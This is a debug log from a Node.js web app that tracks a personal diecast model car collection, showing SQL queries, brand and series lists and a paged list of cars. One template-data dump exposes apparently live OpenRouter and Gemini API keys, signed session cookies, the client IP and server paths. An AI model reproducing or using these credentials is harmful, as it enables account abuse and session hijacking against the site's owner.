    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition`, `diecast_cars`.`yt_short_created`, `diecast_cars`.`yt_video_created`, `diecast_cars`.`photoshoot`, `diecast_cars`.`overview_created` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) and (`diecast_cars`.`yt_short_created` = ?) and (`diecast_cars`.`yt_video_created` = ?) and (`diecast_cars`.`photoshoot` = ?) and (`diecast_cars`.`overview_created` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-04-21T16:45:44.181Z server-connect:output restrict: undefined
2026-04-21T16:45:44.181Z server-connect:app Executing action step select
2026-04-21T16:45:44.181Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-04-21T16:45:44.182Z server-connect:output list: [
  { name: 'Hotwheels', id: 71 },
  { name: 'Majorette', id: 72 },
  { name: 'Matchbox', id: 73 },
  { name: 'Bburago', id: 74 },
  { name: 'Maisto', id: 143 },
  { name: 'CCA', id: 158 },
  { name: 'Jams Toys', id: 191 }
]
2026-04-21T16:45:44.184Z server-connect:output series: [
  { id: 92, name: 'Fantasy' },
  { id: 99, name: 'HW 70s vs 90s' },
  { id: 105, name: 'HW Art Cars' },
  { id: 161, name: 'HW Batman' },
  { id: 98, name: 'HW Celebration Racers' },
  { id: 149, name: 'HW Compact Kings' },
  { id: 94, name: 'HW Dirt' },
  { id: 179, name: 'HW Euro' },
  { id: 107, name: 'HW EV' },
  { id: 170, name: 'HW Exotics' },
  { id: 166, name: 'HW Experimotors' },
  { id: 145, name: 'HW Factory Fresh' },
  { id: 159, name: 'HW Fan Driver' },
  { id: 97, name: 'HW Hot Trucks' },
  { id: 165, name: 'HW Metro' },
  { id: 103, name: 'HW Modified' },
  { id: 96, name: 'HW Muscle Mania' },
  { id: 147, name: 'HW Mustang 60th' },
  { id: 164, name: 'HW Nightspeed' },
  { id: 180, name: 'HW Pantone' },
  { id: 106, name: 'HW Peak Pursuit' },
  { id: 181, name: 'HW Pop Culture' },
  { id: 95, name: 'HW Race day' },
  { id: 150, name: 'HW Reverse Rake' },
  { id: 178, name: 'HW Ride-Ons' },
  { id: 151, name: 'HW Rod Squad' },
  { id: 144, name: 'HW Safari Mode' },
  { id: 176, name: 'HW Silver Series' },
  { id: 163, name: 'HW Starting Grid' },
  { id: 101, name: 'HW Then and now' },
  { id: 146, name: 'HW Track Aces' },
  { id: 100, name: 'HW Track Champs' },
  { id: 160, name: "HW Truckin' Along" },
  { id: 102, name: 'HW Wagons' },
  { id: 104, name: 'HW Wide Widebody' },
  { id: 148, name: 'HW Wild Widebody' },
  { id: 75, name: 'Mainline' },
  { id: 193, name: 'Majorette Black Edition Gift Set' },
  { id: 195, name: 'Majorette Castheads Gift Set' },
  { id: 171, name: 'Majorette Dream Italy Gift Set' },
  { id: 172, name: 'Majorette Light Racer Gift Set' },
  { id: 174, name: 'Majorette Limited Edition 9 Gift Set' },
  { id: 194, name: 'Majorette Mercedes AMG Gift Set' },
  { id: 173, name: 'Majorette Porsche Edition Gift Set' },
  { id: 83, name: 'Moving Parts' },
  { id: 162, name: 'Neon Speeders - Mix 2' }
]
2026-04-21T16:45:44.184Z server-connect:app Executing action step select
2026-04-21T16:45:44.184Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-04-21T16:45:44.186Z server-connect:output list: [
  { name: 'Ford', id: 108 },
  { name: 'Renault', id: 109 },
  { name: 'Citroën', id: 110 },
  { name: 'Volkswagen', id: 111 },
  { name: 'Honda', id: 112 },
  { name: 'Mercedes', id: 113 },
  { name: 'McLaren', id: 114 },
  { name: 'Lamborghini', id: 115 },
  { name: 'Nissan', id: 116 },
  { name: 'Land Rover', id: 117 },
  { name: 'Chevrolet', id: 118 },
  { name: 'Toyota', id: 119 },
  { name: 'Mitsubishi', id: 120 },
  { name: 'Peugeot', id: 121 },
  { name: 'Jeep', id: 122 },
  { name: 'Volvo', id: 123 },
  { name: 'Ferrari', id: 124 },
  { name: 'Bentley', id: 125 },
  { name: 'BMW', id: 126 },
  { name: 'Dodge', id: 127 },
  { name: 'Alfa Romeo', id: 128 },
  { name: 'Bugatti', id: 129 },
  { name: 'Porsche', id: 130 },
  { name: 'Scania', id: 131 },
  { name: 'Audi', id: 132 },
  { name: 'Jaguar', id: 133 },
  { name: 'Pontiac', id: 134 },
  { name: 'Czinger', id: 135 },
  { name: 'Austin', id: 136 },
  { name: 'Mazda', id: 137 },
  { name: 'Gordon Murray', id: 138 },
  { name: 'Formula', id: 139 },
  { name: 'GMC', id: 140 },
  { name: 'Ferrari', id: 141 },
  { name: 'Fantasy', id: 142 },
  { name: 'Corvette ', id: 152 },
  { name: 'Subaru', id: 153 },
  { name: 'Polaris ', id: 154 },
  { name: 'MBX', id: 155 },
  { name: 'Masserti', id: 157 },
  { name: 'Mcmurtry', id: 167 },
  { name: 'Pagani', id: 168 },
  { name: 'Cadillac', id: 169 },
  { name: 'Suzuki', id: 175 },
  { name: 'Spider Man', id: 183 },
  { name: 'Lucid', id: 184 },
  { name: 'Lotus', id: 185 },
  { name: 'Datsun', id: 186 },
  { name: 'RAM', id: 189 },
  { name: 'Plymouth', id: 190 },
  { name: 'Pierce', id: 192 },
  { name: 'Alpine', id: 196 },
  { name: 'Lexus', id: 197 }
]
2026-04-21T16:45:44.187Z server-connect:output manufacturer: [
  { id: 74, name: 'Bburago' },
  { id: 158, name: 'CCA' },
  { id: 71, name: 'Hotwheels' },
  { id: 191, name: 'Jams Toys' },
  { id: 72, name: 'Majorette' },
  { id: 73, name: 'Matchbox' }
]
2026-04-21T16:45:44.192Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 167,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 150 },
    current: 1,
    total: 7
  },
  data: [
    {
      id: 190,
      model_name: '2021 Lexus LC 500',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-02-08T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Lexus',
      vehicle_brand_id: 197,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 189,
      model_name: 'Porsche 911 Targa',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-02-08T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: '',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 188,
      model_name: 'Ford Bronco',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '399.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 187,
      model_name: 'Ford F-150 Raptor',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '399.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 186,
      model_name: 'Alfa Romeo Tonale',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-16T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Alfa Romeo',
      vehicle_brand_id: 128,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 185,
      model_name: 'Volkswagen ID Buzz Cargo',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-16T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volkswagen',
      vehicle_brand_id: 111,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 184,
      model_name: 'Datsun 240Z',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-23T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Datsun',
      vehicle_brand_id: 186,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 183,
      model_name: 'Alpine A110 R',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-23T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Alpine',
      vehicle_brand_id: 196,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 182,
      model_name: 'Audi Q4 e-tron',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Audi',
      vehicle_brand_id: 132,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 181,
      model_name: 'Renault Master',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Renault',
      vehicle_brand_id: 109,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 180,
      model_name: 'Mercedes-Benz G 500',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 179,
      model_name: 'Mercedes-Benz 190 E 2.5-16 EVO II',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 178,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 177,
      model_name: 'Ford Bronco Wildtrak',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 176,
      model_name: 'Ford Mustang Fastback',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 175,
      model_name: 'Mercedes-AMG CLE 53 ',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 174,
      model_name: 'Mercedes-AMG GLC 63 S',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 173,
      model_name: 'Mercedes-AMG A 35',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 172,
      model_name: 'Mercedes-AMG SL 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 171,
      model_name: 'Mercedes-AMG GT 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 165,
      model_name: 'GMC Hummer EV',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'GMC',
      vehicle_brand_id: 140,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 164,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 163,
      model_name: 'Toyota GR Supra',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 162,
      model_name: 'Lamborghini Sián FKP 37',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 161,
      model_name: 'Bugatti Chiron Pur Sport',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Bugatti',
      vehicle_brand_id: 129,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    }
  ]
}
2026-04-21T16:45:45.192Z server-connect:router Serving templateView /diecast
2026-04-21T16:45:45.193Z server-connect:app Executing action step identify
2026-04-21T16:45:45.193Z server-connect:app options: { provider: 'security' }
2026-04-21T16:45:45.193Z server-connect:output identity: 1
2026-04-21T16:45:45.193Z server-connect:app Executing action step restrict
2026-04-21T16:45:45.193Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-04-21T16:45:45.193Z server-connect:output restrict: undefined
2026-04-21T16:45:45.193Z server-connect:router Render template diecast
2026-04-21T16:45:45.194Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Google Chrome";v="147", "Not.A/Brand";v="8", "Chromium";v="147"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/diecast',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3ARyOwJNmuZJMKifcbIX3Hqw%3D%3D.ZwweQOSFMfI7zR37U1qJ6CQKCGAT0E06qUCSa68z1GY6ABLLCnhR8jdUMoj45LWHekqGfu1VLAHTRf%2Bl4qHMR393q%2B9qASlAET3fh5OArHpl5J5Y6vN9MZoSSgHF1e6t8owft8Hsao%2FcrBU4gE6mP1Ious15x4Jxv9UPpXEG%2Fo8%3D.FB%2FxHXfjIlFhwylcWk%2BEPp%2BtOoEkZJHUBVvALnFl9M8; your_r_git.sid=s%3Abxf0DTC9k4W44HikSonUDOqdrUwJXMGI.hyo6q87yu%2BY1AoCAawZ1oGAiHeouo%2FA0SroMRopBm%2BI',
    'x-forwarded-for': '2405:201:5c04:60aa:6060:e3ae:30b8:6471',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-04-22T16:43:57.216Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/diecast',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '2405:201:5c04:60aa:6060:e3ae:30b8:6471',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/diecast',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="147", "Not.A/Brand";v="8", "Chromium";v="147"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/diecast',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3ARyOwJNmuZJMKifcbIX3Hqw%3D%3D.ZwweQOSFMfI7zR37U1qJ6CQKCGAT0E06qUCSa68z1GY6ABLLCnhR8jdUMoj45LWHekqGfu1VLAHTRf%2Bl4qHMR393q%2B9qASlAET3fh5OArHpl5J5Y6vN9MZoSSgHF1e6t8owft8Hsao%2FcrBU4gE6mP1Ious15x4Jxv9UPpXEG%2Fo8%3D.FB%2FxHXfjIlFhwylcWk%2BEPp%2BtOoEkZJHUBVvALnFl9M8; your_r_git.sid=s%3Abxf0DTC9k4W44HikSonUDOqdrUwJXMGI.hyo6q87yu%2BY1AoCAawZ1oGAiHeouo%2FA0SroMRopBm%2BI',
    'HTTP_X_FORWARDED-FOR': '2405:201:5c04:60aa:6060:e3ae:30b8:6471',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2026-04-21T16:45:45.412Z server-connect:router Serving serverConnect /api/diecast/list
2026-04-21T16:45:45.412Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-04-21T16:45:45.412Z server-connect:router Serving serverConnect /api/diecast/get-filters
2026-04-21T16:45:45.412Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-04-21T16:45:45.413Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-04-21T16:45:45.413Z server-connect:app Executing action step identify
2026-04-21T16:45:45.413Z server-connect:app options: { provider: 'security' }
2026-04-21T16:45:45.414Z server-connect:output identity: 1
2026-04-21T16:45:45.414Z server-connect:app Executing action step restrict
2026-04-21T16:45:45.414Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-04-21T16:45:45.414Z server-connect:app Executing action step identify
2026-04-21T16:45:45.414Z server-connect:app options: { provider: 'security' }
2026-04-21T16:45:45.414Z server-connect:output identity: 1
2026-04-21T16:45:45.414Z server-connect:app Executing action step restrict
2026-04-21T16:45:45.414Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-04-21T16:45:45.414Z server-connect:app Executing action step identify
2026-04-21T16:45:45.415Z server-connect:app options: { provider: 'security' }
2026-04-21T16:45:45.415Z server-connect:output identity: 1
2026-04-21T16:45:45.415Z server-connect:app Executing action step restrict
2026-04-21T16:45:45.415Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-04-21T16:45:45.415Z server-connect:app Executing action step identify
2026-04-21T16:45:45.415Z server-connect:app options: { provider: 'security' }
2026-04-21T16:45:45.415Z server-connect:output identity: 1
2026-04-21T16:45:45.415Z server-connect:app Executing action step restrict
2026-04-21T16:45:45.415Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-04-21T16:45:45.415Z server-connect:app Executing action step identify
2026-04-21T16:45:45.416Z server-connect:app options: { provider: 'security' }
2026-04-21T16:45:45.416Z server-connect:output identity: 1
2026-04-21T16:45:45.416Z server-connect:app Executing action step restrict
2026-04-21T16:45:45.416Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-04-21T16:45:45.416Z server-connect:output restrict: undefined
2026-04-21T16:45:45.416Z server-connect:app Executing action step paged
2026-04-21T16:45:45.417Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
